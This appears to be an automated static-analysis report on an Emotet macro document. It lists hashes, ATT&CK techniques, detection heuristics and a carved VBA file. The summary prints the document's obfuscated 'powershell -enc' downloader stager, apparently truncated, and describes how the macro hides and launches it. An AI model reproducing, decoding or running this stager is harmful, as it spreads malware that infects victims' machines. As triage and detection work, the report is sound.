Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4f801a5140b66724…

MALICIOUS

Office (OLE)

155.1 KB Created: 2020-09-15 06:48:00 Authoring application: Microsoft Office Word
MD5: 1491f47051c398ac24352860223fa653 SHA-1: 3739d13471e15cdd8fa644f1f5d30cd889efef51 SHA-256: 4f801a5140b667240379182f73dd4371c155a90c0ffa551dfea235e356a8ed0e
300 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file contains VBA macros, specifically a Document_Open macro, which is a common delivery mechanism for Emotet. Critical heuristics indicate an obfuscated PowerShell stager within a UserForm, likely responsible for downloading and executing a second-stage payload. The reconstructed PowerShell command is: powershell -enc JABJAGEAOQB2vhaghsghfpAGEANQA2AD2vhaghsghf0AKAAnAEYAJ2vhaghsghfwArACcANwAn2vhaghsghfACsAKAAnAGI2vhaghsghfAcgBtACcAKw2vhaghsghfAnAGQANwAnA2vhaghsghfCkAKQA7AC4A2vhaghsghfKAAnAG4AZQB2vhaghsghf3AC0AJwArAC2vhaghsghfcAaQB0AGUAb2vhaghsghfQAnACkAIAAk2vhaghsghfAGUAbgB2ADo2vhaghsghfAVQBTAEUAUg2vhaghsghfBQAHIATwBGA2vhaghsghfEkAbABFAFwA2vhaghsghfRABnAGcATQB2vhaghsghfPADkAMQBcAF2vhaghsghfAAZABOAG8AV2vhaghsghfQBPAGMAXAAg2vhaghsghfAC0AaQB0AGU2vhaghsghfAbQB0AHkAcA2vhaghsghfBlACAARABpA2vhaghsghfHIAZQBjAFQA2vhaghsghfTwBSAFkAOwB2vhaghsghf4AUwBlAHIAd2vhaghsghfgBpAGMAZQBQ2vhaghsghfAG8AaQBuAHQ2vhaghsghfATQBhAG4AYQ2vhaghsghfBnAGUAcgBdA2vhaghsghfDoAOgAiAFMA2vhaghsghfZQBDAFUAcgB2vhaghsghfJAGAAVAB5AF2vhaghsghfAAYABSAGAAT2vhaghsghfwB0AG8AQwBv2vhaghsghfAEwAIgAgAD02vhaghsghfAIAAoACcAdA2vhaghsghfAnACsAKAAnA2vhaghsghfGwAcwAnACsA2vhaghsghfJwAxADIAJwA2vhaghsghfrACcALAAgAH2vhaghsghfQAbAAnACkAK2vhaghsghfwAnAHMAJwAr2vhaghsghfACcAMQAnACs2vhaghsghfAKAAnADEALA2vhaghsghfAnACsAJwAgA2vhaghsghfCcAKQArACgA2vhaghsghfJwB0AGwAJwA2vhaghsghfrACcAcwAnAC2vhaghsghfkAKQA7ACQAU2vhaghsghfwByAGwAegBh2vhaghsghfAGsAYgAgAD02vhaghsghfAIAAoACgAJw2vhaghsghfBMACcAKwAnA2vhaghsghfHUAdwAnACkA2vhaghsghfKwAoACcAZgB2vhaghsghfoACcAKw. The ClamAV signature also confirms its malicious nature as Emotet.

Heuristics 8

  • Hidden UserForm PowerShell EncodedCommand stager critical OLE_USERFORM_OBFUSCATED_POWERSHELL
    OLE document contains a UTF-16LE form/property string with an obfuscated PowerShell -EncodedCommand payload. The observed macro family reconstructs this hidden string with Split/Join or UserForm property reads and launches it through WMI/COM process creation. This is downloader malware, not an Office CVE exploit.
  • ClamAV: Doc.Downloader.Emotet-9760846-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9760846-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
d836c5415d0cd6d772a683c60ac608b6fac152a60e8d7adaeb3bed5561a7f6e2
vba-macro oletools.olevba.extract_macros (decoded VBA source) 22931 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.